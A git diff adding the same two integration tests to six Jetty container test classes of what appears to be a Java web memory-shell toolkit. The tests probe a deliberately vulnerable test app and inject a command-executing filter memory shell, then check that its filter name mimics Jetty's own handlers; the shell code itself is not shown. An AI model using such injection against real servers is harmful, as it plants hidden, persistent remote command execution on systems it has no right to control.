b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java index 885df93f..ffb1e6cb 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty75ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +76,24 @@ public class Jetty75ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java index 8f51b948..1d323a6e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty76ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +76,24 @@ public class Jetty76ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_6); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java index b09f1337..9aac4168 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty81ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +76,24 @@ public class Jetty81ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java index 6b189240..df9b0bcf 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty92ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -70,4 +77,24 @@ public class Jetty92ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_7); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java index e87a0ea3..03fbb4de 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty93ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +76,24 @@ public class Jetty93ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java index fe5ae163..40ec6d00 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty94ContainerTest.java @@ -4,6 +4,9 @@ import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; import com.reajason.javaweb.integration.VulTool; import com.reajason.javaweb.integration.probe.DetectionTool; +import com.reajason.javaweb.memshell.ShellTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -15,9 +18,13 @@ import org.testcontainers.junit.jupiter.Testcontainers; import java.nio.file.Files; import java.nio.file.Paths; +import java.util.List; import static com.reajason.javaweb.integration.ContainerTool.getUrl; import static com.reajason.javaweb.integration.ContainerTool.warFile; +import static com.reajason.javaweb.integration.ShellAssertion.shellInjectIsOk; +import static org.hamcrest.CoreMatchers.*; +import static org.hamcrest.MatcherAssert.assertThat; import static org.junit.jupiter.api.Assertions.assertEquals; /** @@ -69,4 +76,24 @@ public class Jetty94ContainerTest { String url = getUrl(container); ProbeAssertion.responseBytecodeIsOk(url, Server.Jetty, Opcodes.V1_8); } + + @Test + void testFilterProbe() { + String url = getUrl(container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + System.out.println(data); + assertThat(data, anyOf( + containsString("Context: ") + )); + } + + @Test + void testFilterFirstInject() { + String url = getUrl(container); + shellInjectIsOk(url, Server.Jetty, ShellType.FILTER, ShellTool.Command, org.objectweb.asm.Opcodes.V1_6, Packers.BigInteger, container); + String data = VulTool.post(url + "/b64", DetectionTool.getJettyFilterProbe()); + List filter = ProbeAssertion.getFiltersForContext(data, "/app"); + String filterName = ProbeAssertion.extractFilterName(filter.get(0)); + assertThat(filterName, anyOf(startsWith("org.eclipse.jetty.servlet.handlers"))); + } }